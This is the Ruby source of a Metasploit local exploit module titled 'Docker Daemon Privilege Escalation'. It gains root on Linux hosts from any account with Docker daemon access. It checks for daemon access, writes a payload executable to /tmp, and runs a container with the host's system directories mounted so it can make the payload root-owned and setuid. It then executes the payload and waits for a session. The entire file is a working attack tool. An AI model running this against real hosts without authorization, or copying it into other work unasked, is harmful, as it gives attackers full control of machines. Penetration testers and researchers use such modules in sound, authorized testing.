metasploit-framework/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Docker Daemon Privilege Escalation',
      'Description'   => %q{
        This module obtains root privileges from any host account with access to the
        Docker daemon. Usually this includes accounts in the `docker` group.
      },
      'License'       => MSF_LICENSE,
      'Author'        => ['forzoni'],
      'DisclosureDate' => 'Jun 28 2016',
      'Platform'      => 'linux',
      'Arch'          => [ARCH_X86, ARCH_X86_64],
      'Targets'       => [ ['Automatic', {}] ],
      'SessionTypes'  => ['shell', 'meterpreter']
      }
    ))
    register_options([
      OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
    ], self.class)
  end

  def check
    if cmd_exec("sh -c 'docker ps; echo $?'").strip =~ /1$/
      print_error("Failed to access Docker daemon.")
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Vulnerable
    end
  end

  def exploit
    pl = generate_payload_exe
    exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
    print_status("Writing payload executable to '#{exe_file}'")
    write_file(exe_file, pl)
    cmd_exec("chmod +x #{exe_file}")
    vprint_status shell_script(exe_file)
    vprint_status cmd_exec("sh -c '#{shell_script(exe_file)}'")

    stime = Time.now.to_f
    print_status "Starting the payload handler..."
    until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
      Rex.sleep(1)
    end
  end

  def shell_script(exploit_path)
    deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
    dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
    %Q{
      IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
      docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
      docker rmi $IMG
      #{exploit_path}
    }.strip.split("\n").map(&:strip).join(';')
  end

end